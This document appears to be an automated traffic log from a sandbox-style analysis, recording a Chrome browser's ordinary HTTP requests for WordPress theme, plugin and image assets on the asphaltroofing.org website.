Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/style.css?ver=3.3.8.1605398328 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/tablepress-combined.min.css?ver=6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/u-design-core/includes/woocommerce/css/udesign-woocommerce-style.css?ver=1.0.5 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/u-design-core/includes/woocommerce/css/udesign-woocommerce-responsive.css?ver=1.0.5 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/enable-jquery-migrate-helper/js/jquery/jquery-1.12.4-wp.js?ver=1.12.4-wp HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/enable-jquery-migrate-helper/js/jquery-migrate/jquery-migrate-1.4.1-wp.js?ver=1.4.1-wp HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.2.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/js/vendors/woocommerce-add-to-cart.js?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /media/_pda/2019/11/asphalt-tagline-updated.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /media/2017/04/logo-icon.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/assets/transparent.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/01/2024_ExcellenceAwardWinners_WebSlider_1425x300.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/v4-shims.min.css?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/bower/animate-css/animate.min.css?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/row-separators/row-separators/css/style.css?ver=1.4.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/content-views-query-and-display-post-page/public/assets/js/cv.js?ver=3.6.4 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/pt-content-views-pro/public/assets/js/cvpro.min.js?ver=5.1.2.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/jquery-collapse-o-matic/js/collapse.js?ver=1.7.2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/real-time-auto-find-and-replace/assets/js/rtafar.local.js?ver=1.5.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/floating-top-link/js/floating-top-link.js?ver=1.0.5 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /media/2017/04/logo.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/custom_style.css?ver=3.3.8.1713804094Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/images/misc-sprite-sheet.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3.3.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/assets/images/repeat-x-sprite-sheet.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3.3.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/prettyPhoto/js/jquery.prettyPhoto.js?ver=3.1.6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/frontend/prettyPhoto/custom_params.js?ver=3.1.6 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /media/_pda/2019/11/asphalt-tagline-updated.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /media/2017/04/logo-icon.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/assets/transparent.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/01/2024_ExcellenceAwardWinners_WebSlider_1425x300.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
Source: global traffic	HTTP traffic detected: GET /media/2017/04/logo.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
